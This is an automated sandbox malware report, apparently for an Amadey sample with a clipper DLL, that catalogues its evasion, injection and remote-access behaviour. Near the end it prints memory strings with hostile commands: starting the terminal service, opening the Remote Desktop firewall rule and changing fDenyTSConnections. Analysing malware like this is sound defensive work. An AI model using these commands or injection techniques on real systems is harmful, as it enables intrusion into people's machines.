Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 180000			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3816	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6018	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 4517	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 5318	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4008

Thread sleep time: -13835058055282155s >= -30000s

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Last function: Thread delayed
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 3_2_004093D0 Sleep,GetVersionExW,GetModuleHandleA,GetProcAddress,GetNativeSystemInfo,GetSystemInfo,GetVersionExW,

3_2_004093D0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 30000	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior

Source: Amcache.hve.0.dr	Binary or memory string: VMware
Source: Amcache.hve.0.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.0.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.0.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.0.dr	Binary or memory string: VMware20,1hbin@
Source: RegSvcs.exe, 00000003.00000002.4127608803.000000000141F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: Amcache.hve.0.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.0.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.0.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: RegSvcs.exe, 00000003.00000002.4127608803.0000000001466000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.0.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.0.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.0.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.0.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.0.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.0.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.0.dr	Binary or memory string: vmci.syshbin`
Source: RegSvcs.exe, 00000003.00000002.4127608803.0000000001466000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWCO=
Source: Amcache.hve.0.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.0.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.0.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.0.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.0.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.0.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.0.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.0.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.0.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.0.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.0.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.0.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.0.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.0.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 3_2_0042A4A5 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

3_2_0042A4A5

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_004362F2 mov eax, dword ptr fs:[00000030h]		3_2_004362F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_0042DE60 mov eax, dword ptr fs:[00000030h]		3_2_0042DE60

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 3_2_004407F2 GetProcessHeap,

3_2_004407F2

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_0042A4A5 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_0042A4A5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_0042A608 SetUnhandledExceptionFilter,	3_2_0042A608
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_00429BB8 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_00429BB8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_0042EE6D IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_0042EE6D

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject code into remote processes

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 3_2_00408070 GetModuleFileNameA,CreateProcessA,VirtualAlloc,GetThreadContext,ReadProcessMemory,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,SetThreadContext,ResumeThread,VirtualFree,

3_2_00408070

Injects a PE file into a foreign processes

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 401000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 451000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 466000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 46D000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 46E000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: F4C008	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\ipconfig.exe "C:\Windows\system32\ipconfig.exe" /flushdns	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wermgr.exe "C:\Windows\system32\wermgr.exe" "-outproc" "0" "6544" "2596" "2480" "2600" "0" "0" "2604" "0" "0" "0" "0" "0"	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 3_2_0042A68F cpuid

3_2_0042A68F

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: GetACP,IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	3_2_00442126
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: GetLocaleInfoW,	3_2_00442321
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: EnumSystemLocalesW,	3_2_004423C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: EnumSystemLocalesW,	3_2_00442413
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: EnumSystemLocalesW,	3_2_004424AE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: EnumSystemLocalesW,	3_2_004384BC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	3_2_00442539
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: GetLocaleInfoW,	3_2_0044278C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	3_2_004428B2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: GetLocaleInfoW,	3_2_004389DE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: GetLocaleInfoW,	3_2_004429B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	3_2_00442A87

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformation	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 3_2_004296A7 GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,GetSystemTimeAsFileTime,

3_2_004296A7

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

3_2_004061F0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 3_2_0043E98E _free,_free,_free,GetTimeZoneInformation,_free,

3_2_0043E98E

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 3_2_004091B0 Sleep,GetVersionExW,GetModuleHandleA,GetProcAddress,GetNativeSystemInfo,

3_2_004091B0

Source: Amcache.hve.0.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.0.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.0.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.0.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected Amadey

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Yara detected Amadeys Clipper DLL

Source: Yara match	File source: 3.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.powershell.exe.296dbc78c18.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.powershell.exe.296dbc78c18.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1864550591.00000296DBC33000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Contains functionality to start a terminal service

Source: powershell.exe, 00000000.00000002.1864550591.00000296DBC33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: net start termservice
Source: powershell.exe, 00000000.00000002.1864550591.00000296DBC33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit seta60c430246a6b5eabfeff991901daa754340bbf41c5952b1373dfe1ff8834fec26467e7e9fc62574ce418d4877910b7601ae5eMO24EbtoFt4sNNYuNYQCLu7I7fJS4hgVSANTM7pz4ETUJcrrcA==NNTzFs==UtPn5zJkJNQu7I==LNKu7I==YRGoFvFVGRNcOa==RY727PKkEhVZ0K==UVYIOx3sNfV8UQpjdrcEg0XQVu4sbmNpdYCeJVKp6hVpez3ldsRug033ScLxT21dZL==UVYIOx3sNfV8UQpjdrcEg0XQVu4sbmNpdYCeJVKp6hVpez3ldsRug033PM8zbG5sZSyeOPCc6dBObAZscHFLg0vaXMzCUYGj6fGS6v==UhKvYXQmBuYuBAJISypSJHcEQ1C7UVYIOx3sNfV8UQpjdrcEg0XQVu4sbmNpdYCeJVKp6hVpez3ldsRug033ScLxciKwSymjFuIbUCyxSVy95SM=UVYIOx3sNfV8UQpjdrcEg0XQVu4sbmNpdYCeJVKp6hVpez3ldsRug033PM8zbG5sZSyeNU7c5BwbSgcs0LZDhu==JQKVKNyHNf9BTOBFKV==Xzuy6s==UzYVOs==RVKWaRF8diB8cXF8bYB8Yh 8YSx8cBB8dRT8ZBP8YSN8bCN8bX28ceP=YYynSuUb5Bx3ZWBpdH9pgEvYYYynSuUb5Bw=YXmr6uUb5Bw=Zyt=ZOt=ZOx=ZOB=TRur59==aCG26vdmEr==aCG26zBXEt8=ZS7nZBmuYXQmcCBzbSCrehayLYu34OKRPBB+PBF+LWqu7O3g5iMqKthtIr==fv==JiKw4PF0PL==cX7n5ylqFd5fcAA=aXKA5eKjFuIp0ABsRXK2MeuR4SZgVXpzeLZyXU3c l==UCyxSVy95PRceAJcQQODNTF8NX9heBhhdrY=QSOr6et=SXuB6yKp6Xt0JyBhZl==RQCHOs==UBuwSyt8NXVeeRNpeMo=RBYl7yYpBAdgZa==QQOJMuNyOyYRRRxO0QR1drp5jO==Qha2SyKdSR5f0RM=ThYA7yYlUXYy4yYqQXYv5UGmVXawKyKdSR5f0RM=MytAFrFSGecZPK==chx=dXx=QXYw7yKl7x1PfRFlPnFyiUvQ9MrkcnMpZhYA5KQbRSRcPsFic8Zz4EDocIQwLSWnLNPvEKPkDLeF5UURSR5VMOVpd8FAh0jQ9LZxOixgbYyvEOG97BE2JA9hc1YdNkP8bvulOyxgaRmn5eukSO0dIbPMJUYl7BVpew5Uf2FqTgz8awrvaWJbdBax5aYmRYRgew5zeMNq3UYDA6QNDLdvEKPkEN0=LNPPv9==PYCl6bPoLheySo==QXYw7yKl7x1PfRFlPnFmhFzi9LDkdGhpbdY6EP3U7t1hcXNtM2ZDgETkWRZnZWM=UWaVOwKEQzNWdhNlcsVIg03QabZvU2RUXzCx5fGp5Xx8RWctdMZ54VHEWLRoXEJpbSq37yKpMhFo0K==QXYv6zKRSSJJZQ5lYRylSyKdSXhkbgxsc19AhFDoaSH4dn YeSdyFLxqGyUXOtk5M0b=LSKw4OCmSBUoUWaVOwKEQzNWdhNlcsVIg03QabZvU2RUXzCx5fGp5Xx8WQ9peLZp0kjaXLZfQ05IVAyRMxmNLPRAUVA=UWaVOwKEQzNqchVyc7BY4VOmKsvfU2RsdhalSPC4JhFubQREb2RBgEDVVuPsZGRpVhamSOYAKv==XypyFvp=RBKoRPKj7ANgeBVpcrhEQjfIXMDybHRUaRYwRBKoRPKj7ANgeBVpcrhEQjjIXMDybHRUaRYwUVYIOx3sNfV8UQpjdrcEg0XQVu4sbmNpdYBiMdG4JYVtdgZueK3qhlLf RU=UCyxSzKa7z5ccQY=MepzHI==MepAF9==MepzG9==MepAGI==QYKA6eKl7zJWbQBkXv==Oed8ciKwSymjFuIp0RllLXhiIiGj6Uii4RxnJwcmJHcugQy9IdpoCaqR4R1gcXZ0JIIlOgW7XvLvIA==JdNiKP7g7xI=IdpoCaqpSR4bIxNoBs==UBY5SPyq4BVncw9lfLY=LRK6SOCS7BlqchFvcLpojQzoXLRydGRtaR3wSOF8EPZkcAYgJl==Ib==cX737yGm7X4bMRQgM2UlRy==cYFa6o==chuwSyYkSXK7ReY96hQbUAJ5c8Z52DzoXLnyYWM=MypyFvpRFOk=MypyFvpRFeI=MypyFvpRFeM=MypyFvpRFXY=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config ter
Source: powershell.exe, 00000000.00000002.1840009085.00000296CBEC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: net start termservice
Source: powershell.exe, 00000000.00000002.1840009085.00000296CBEC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit seta60c430246a6b5eabfeff991901daa754340bbf41c5952b1373dfe1ff8834fec26467e7e9fc62574ce418d4877910b7601ae5eMO24EbtoFt4sNNYuNYQCLu7I7fJS4hgVSANTM7pz4ETUJcrrcA==NNTzFs==UtPn5zJkJNQu7I==LNKu7I==YRGoFvFVGRNcOa==RY727PKkEhVZ0K==UVYIOx3sNfV8UQpjdrcEg0XQVu4sbmNpdYCeJVKp6hVpez3ldsRug033ScLxT21dZL==UVYIOx3sNfV8UQpjdrcEg0XQVu4sbmNpdYCeJVKp6hVpez3ldsRug033PM8zbG5sZSyeOPCc6dBObAZscHFLg0vaXMzCUYGj6fGS6v==UhKvYXQmBuYuBAJISypSJHcEQ1C7UVYIOx3sNfV8UQpjdrcEg0XQVu4sbmNpdYCeJVKp6hVpez3ldsRug033ScLxciKwSymjFuIbUCyxSVy95SM=UVYIOx3sNfV8UQpjdrcEg0XQVu4sbmNpdYCeJVKp6hVpez3ldsRug033PM8zbG5sZSyeNU7c5BwbSgcs0LZDhu==JQKVKNyHNf9BTOBFKV==Xzuy6s==UzYVOs==RVKWaRF8diB8cXF8bYB8Yh 8YSx8cBB8dRT8ZBP8YSN8bCN8bX28ceP=YYynSuUb5Bx3ZWBpdH9pgEvYYYynSuUb5Bw=YXmr6uUb5Bw=Zyt=ZOt=ZOx=ZOB=TRur59==aCG26vdmEr==aCG26zBXEt8=ZS7nZBmuYXQmcCBzbSCrehayLYu34OKRPBB+PBF+LWqu7O3g5iMqKthtIr==fv==JiKw4PF0PL==cX7n5ylqFd5fcAA=aXKA5eKjFuIp0ABsRXK2MeuR4SZgVXpzeLZyXU3c 